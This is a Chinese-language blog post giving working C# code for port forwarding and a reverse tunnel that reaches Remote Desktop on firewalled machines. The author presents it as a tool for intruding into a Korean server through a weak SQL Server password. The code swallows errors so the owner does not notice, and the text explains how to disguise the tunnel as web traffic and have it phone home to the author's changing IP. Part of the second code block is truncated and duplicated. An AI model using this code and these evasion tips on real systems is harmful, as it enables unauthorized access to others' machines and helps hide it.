C#端口转发程序代码详解

转自:http://www.cnblogs.com/mutuan

链接3389的时候

例子1:连接a机器的3389端口连不上,因为对方防火墙或者网关做了限制,只能访问a机器的个别端口比如80。

例子2:连接a机器的几乎所有端口都连不上(对方乃内网或者防火墙网关做了限制),只能1433上去,但是对方可以连接你的某些端口。

&nbsp

解决

第一种较简单,只需要程序在对方开80,你连接他80,程序收到数据后,发送到他本机的3389,同时从他3389收到数据后返回到你。程序就是一个中转站。

&nbsp


using System;
using System.Net.Sockets;
using System.Threading;

namespace PortTransponder
{
    class Program
    {
        static void Main(string[] args)
        {
            TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口
            tl.Start();
            while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连
            {
                //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转
                try
                {
                    TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu
                    TcpClient tc2 = new TcpClient("localhost", 3389);
                    tc1.SendTimeout = 300000;//设定超时,否则端口将一直被占用,即使失去连接
                    tc1.ReceiveTimeout = 300000;
                    tc2.SendTimeout = 300000;
                    tc2.ReceiveTimeout = 300000;
                    object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                    object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
                    ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
                }
                catch { }
            }
        }
        public static void transfer(object obj)
        {
            TcpClient tc1 = ((TcpClient[])obj)[0];
            TcpClient tc2 = ((TcpClient[])obj)[1];
            NetworkStream ns1 = tc1.GetStream();
            NetworkStream ns2 = tc2.GetStream();
            while (true)
            {
                try
                {
                    //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了
                    byte[] bt = new byte[10240];
                    int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 0, count);
                }
                catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    break;
                }
            }
        }
    }
}

 

这样在对方机器执行和,直接mstsc&nbsp/v:对方ip:80就能终端上去了

&nbsp

&nbsp

第二种稍微复杂一点,需要客户机和服务器2个程序,你在自己机器上开服务器端,在对方机器上执行客户端连接你的服务器端,一旦连接上你的服务器端再开个端口让终端程序连接,对方机器上客户端再开个端口连接他自己的3389,做2次中转就可以终端上去了。

具体流程

本机ip开8080端口

对方机器连接你的8080端口,比如端口是49908

连接成功后

你的机器再开一个比如9833端口

对方机器再开一个连接连接他自己的3389,比如端口是49909吧

好这时你用你的mstsc连接自己的&nbsplocalhost:9833,数据包就从本机9833-本机8080-对方49908-对方49909-对方3389,对方3389的数据反着回来就行了。

                    tc1.Close();

                    break;
                }
            }
        }
    }
}

&nbsp

好,这样你连接mstsc&nbsp/v:localhost:9833,后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了,而且好处是对方查看netstat&nbsp-an看到的是这种东西

只能看到他的49908在连接我的8080,就像看网站一样,要是80就更像了,而49909连接3389一般注意不到,反正没有ip地址,这棒子想不到吧,他做的这么变态的限制都被终端上去了,起因就是sqlserver弱口令和权限,这个机器是win2008,i7&nbsp920的u,不明白棒子的网管为什么一点安全知识都没有,而且屡教不改,上次进去一看,那机器已经被国内黑克给x了n遍了,上边布满了木马,最后实在启动不了了,他重装了,结果那个sqlserver还是那个权限还是那个密码,服气吧。但是如果netstat&nbsp-ano发现连我的pid和连3389的pid是一个那就可以发现了。

&nbsp

以上程序都是经我测试后非常ok的,但是没有经过优化,尤其是反向连接的,可以做成个服务是吧,或者连接的时候加个验证啦什么的,还有我的Ip地址也是变的,可以做成个服务,定时读取某一网页上我的新ip,告诉他连还是不连啦,什么的。而且还可以做成个http代理翻wall啦,总之花样是很多的。
